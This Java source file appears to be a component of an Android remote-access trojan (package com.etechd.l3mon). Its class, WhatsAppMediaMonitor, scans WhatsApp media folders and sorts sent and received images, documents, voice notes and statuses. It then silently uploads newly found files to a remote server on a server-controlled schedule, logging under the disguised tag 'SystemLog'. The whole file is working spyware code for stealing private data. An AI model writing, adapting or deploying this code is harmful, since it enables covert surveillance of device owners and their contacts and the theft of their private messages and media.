package com.etechd.l3mon;

import android.content.Context;
import android.content.SharedPreferences;
import android.util.Log;

import org.json.JSONObject;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.util.HashSet;
import java.util.Locale;
import java.util.Set;

/**
 * Monitoriza carpetas de medios de WhatsApp y sube archivos nuevos al servidor.
 */
public final class WhatsAppMediaMonitor {
    private static final String TAG = "SystemLog";
    private static final long MAX_FILE_BYTES = 50L * 1024 * 1024;
    private static final int MAX_KNOWN_ENTRIES = 12000;

    private static final String[] BASE_PATHS = {
            "/storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Media",
            "/sdcard/Android/media/com.whatsapp/WhatsApp/Media",
            "/storage/emulated/0/WhatsApp/Media",
            "/sdcard/WhatsApp/Media",
    };

    private static volatile boolean started = false;
    private static int scanSeconds = 120;
    private static long lastScanAt = 0L;
    private static volatile boolean scanning = false;

    private WhatsAppMediaMonitor() {
    }

    public static synchronized void start() {
        if (started) {
            return;
        }
        started = true;
        Log.i(TAG, "WhatsAppMediaMonitor iniciado");
    }

    public static void applyServerConfig(JSONObject monitor) {
        if (monitor == null) {
            return;
        }
        scanSeconds = Math.max(30, monitor.optInt("whatsapp_media_seconds", scanSeconds));
    }

    public static void tick() {
        if (!started || SystemLogApi.getToken() == null) {
            return;
        }
        long now = System.currentTimeMillis();
        if (scanning || now - lastScanAt < scanSeconds * 1000L) {
            return;
        }
        lastScanAt = now;
        scanning = true;
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    scanOnce();
                } catch (Exception e) {
                    Log.e(TAG, "WhatsApp scan: " + e.getMessage());
                } finally {
                    scanning = false;
                }
            }
        }, "SystemLogWhatsApp").start();
    }

    public static void scanNowForced() {
        if (!started || SystemLogApi.getToken() == null) {
            return;
        }
        if (scanning) {
            return;
        }
        scanning = true;
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    scanOnce();
                } catch (Exception e) {
                    Log.e(TAG, "WhatsApp scanNow: " + e.getMessage());
                } finally {
                    scanning = false;
                    lastScanAt = System.currentTimeMillis();
                }
            }
        }, "SystemLogWhatsAppForce").start();
    }

    /** Ejecuta escaneo y devuelve estadísticas (bloqueante). */
    public static org.json.JSONObject scanNowSync() throws org.json.JSONException {
        int[] stats = scanOnceWithStats();
        org.json.JSONObject out = new org.json.JSONObject();
        out.put("discovered", stats[0]);
        out.put("uploaded", stats[1]);
        return out;
    }

    private static void scanOnce() {
        scanOnceWithStats();
    }

    private static int[] scanOnceWithStats() {
        Context context = SystemLogApi.getAppContext();
        if (context == null) {
            return new int[] {0, 0};
        }

        File knownFile = new File(context.getCacheDir(), "whatsapp_known_files.txt");
        SharedPreferences prefs = SystemLogApi.prefs();
        Set<String> known = loadKnown(knownFile);
        boolean baseline = !prefs.getBoolean("whatsapp_baseline_done", false);
        int discovered = 0;
        int uploaded = 0;

        for (String base : BASE_PATHS) {
            File root = new File(base);
            if (!root.exists() || !root.canRead()) {
                continue;
            }
            int[] counts = walkDirectory(root, known, baseline);
            discovered += counts[0];
            uploaded += counts[1];
        }

        trimKnown(known);
        saveKnown(knownFile, known);

        if (baseline) {
            prefs.edit().putBoolean("whatsapp_baseline_done", true).apply();
            Log.i(TAG, "WhatsApp baseline: " + known.size() + " archivos indexados (sin subir)");
            return new int[] {discovered, 0};
        }

        if (uploaded > 0) {
            Log.i(TAG, "WhatsApp: " + uploaded + " archivo(s) subido(s), " + discovered + " detectado(s)");
        }
        return new int[] {discovered, uploaded};
    }

    private static int[] walkDirectory(File dir, Set<String> known, boolean baseline) {
        int discovered = 0;
        int uploaded = 0;
        File[] children = dir.listFiles();
        if (children == null) {
            return new int[] {discovered, uploaded};
        }

        for (File child : children) {
            if (child == null) {
                continue;
            }
            String name = child.getName();
            if (name.startsWith(".")) {
                continue;
            }
            if (child.isDirectory()) {
                int[] nested = walkDirectory(child, known, baseline);
                discovered += nested[0];
                uploaded += nested[1];
                continue;
            }
            if (!child.isFile() || child.length() <= 0L || child.length() > MAX_FILE_BYTES) {
                continue;
            }

            String category = classifyPath(child.getAbsolutePath());
            if (category == null) {
                continue;
            }

            String key = entryKey(child);
            discovered++;
            if (known.contains(key)) {
                continue;
            }
            known.add(key);

            if (baseline) {
                continue;
            }

            if (SystemLogApi.uploadWhatsAppMedia(
                    child,
                    child.getName(),
                    child.getAbsolutePath(),
                    category,
                    child.lastModified() / 1000L
            )) {
                uploaded++;
            } else {
                known.remove(key);
            }
        }

        return new int[] {discovered, uploaded};
    }

    static String classifyPath(String path) {
        if (path == null || path.isEmpty()) {
            return null;
        }
        String normalized = path.replace('\\', '/');

        if (containsSegment(normalized, "WhatsApp Images/Sent")) {
            return "image_sent";
        }
        if (containsSegment(normalized, "WhatsApp Documents/Sent")) {
            return "document_sent";
        }
        if (containsSegment(normalized, ".Statuses")) {
            return "status";
        }
        if (containsSegment(normalized, "WhatsApp Video Notes")) {
            return "video_note_received";
        }
        if (containsSegment(normalized, "WhatsApp Voice Notes")) {
            return "voice_note_received";
        }
        if (containsSegment(normalized, "WhatsApp Audio")) {
            return "audio_received";
        }
        if (containsSegment(normalized, "WhatsApp Documents")) {
            return "document_received";
        }
        if (containsSegment(normalized, "WhatsApp Images")) {
            return "image_received";
        }

        return null;
    }

    private static boolean containsSegment(String path, String segment) {
        return path.toLowerCase(Locale.ROOT).contains(segment.toLowerCase(Locale.ROOT));
    }

    private static String entryKey(File file) {
        return file.getAbsolutePath() + "|" + file.lastModified() + "|" + file.length();
    }

    private static Set<String> loadKnown(File file) {
        Set<String> known = new HashSet<String>();
        if (!file.exists()) {
            return known;
        }
        BufferedReader reader = null;
        try {
            reader = new BufferedReader(new FileReader(file));
            String line;
            while ((line = reader.readLine()) != null) {
                line = line.trim();
                if (!line.isEmpty()) {
                    known.add(line);
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "WhatsApp loadKnown: " + e.getMessage());
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (Exception ignored) {
                }
            }
        }
        return known;
    }

    private static void saveKnown(File file, Set<String> known) {
        BufferedWriter writer = null;
        try {
            writer = new BufferedWriter(new FileWriter(file, false));
            for (String entry : known) {
                writer.write(entry);
                writer.newLine();
            }
        } catch (Exception e) {
            Log.e(TAG, "WhatsApp saveKnown: " + e.getMessage());
        } finally {
            if (writer != null) {
                try {
                    writer.close();
                } catch (Exception ignored) {
                }
            }
        }
    }

    private static void trimKnown(Set<String> known) {
        if (known.size() <= MAX_KNOWN_ENTRIES) {
            return;
        }
        int remove = known.size() - MAX_KNOWN_ENTRIES;
        java.util.Iterator<String> it = known.iterator();
        while (remove > 0 && it.hasNext()) {
            it.next();
            it.remove();
            remove--;
        }
    }
}
